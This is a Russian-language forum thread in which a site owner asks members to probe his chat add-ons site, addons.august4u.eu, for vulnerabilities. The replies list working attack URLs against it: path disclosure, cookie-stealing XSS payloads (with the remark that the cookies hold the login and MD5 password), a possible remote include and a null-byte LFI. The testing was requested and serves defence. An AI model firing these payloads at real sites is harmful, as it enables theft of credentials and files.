http://addons.august4u.eu

[Большой джо]

Все привет, вот открыл сервис дополнений к август4у чатам, и надо проверить сайт на уязвимости, прошу протестить сайт пожалста!!!!

[Adm1n4eG]

раскрытие путей:

http://addons.august4u.eu/top/top.php?id=11

Warning: imagecreatefromjpeg(img/logo.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www/[скрыто]/top/top.php on line 35

http://addons.august4u.eu/come.php?comanda=delfriend&idfriend=999999999999

Warning: fopen(datamsg/id999999999999/friend.dat) [function.fopen]: failed to open stream: No such file or directory in /var/www/[скрыто]/come.php on line 492

http://addons.august4u.eu/come.php?comanda=addfriend&idfriend=999999999999

Warning: fopen(datamsg/id999999999999/black.dat) [function.fopen]: failed to open stream: No such file or directory in /var/www/[скрыто]/come.php on line 424

тут сохраняются файлкеки правда пустые....
http://addons.august4u.eu/datamsg/id1/friend.dat
http://addons.august4u.eu/datamsg/id1/black.dat


теперь XSS (обязательно залогинеца нада):

делаем такой запрос:
http://addons.august4u.eu/come.php?comanda=addfriend&idfriend=999999"><script>alert(document.cookie)</script>999999

и тут смотрим результат:
http://addons.august4u.eu/index.php?comanda=friends

в куках логин и пасс(md5)...

[AKYLA]

XSS и раскрытие путей тех же.
http://addons.august4u.eu/index.php?comanda=viemfoto&files=1>"><ScRiPt%20%0a
%0d>alert(12345)%3B</ScRiPt>

По идее инклюд, но не крутил на предмет реального выполнения.
http://addons.august4u.eu/index.php?comanda=viemfoto&files=http://www.admin.com

[eLWAux]

LFI
http://addons.august4u.eu/index.php?comanda=viemfoto&files=../{FILE}%00

сайт в дирах. где не подставлю ковычку - ошибка.

[Большой джо]

всем за участие спс, буду переписывать фильтр, и делать более строгую проверку данных))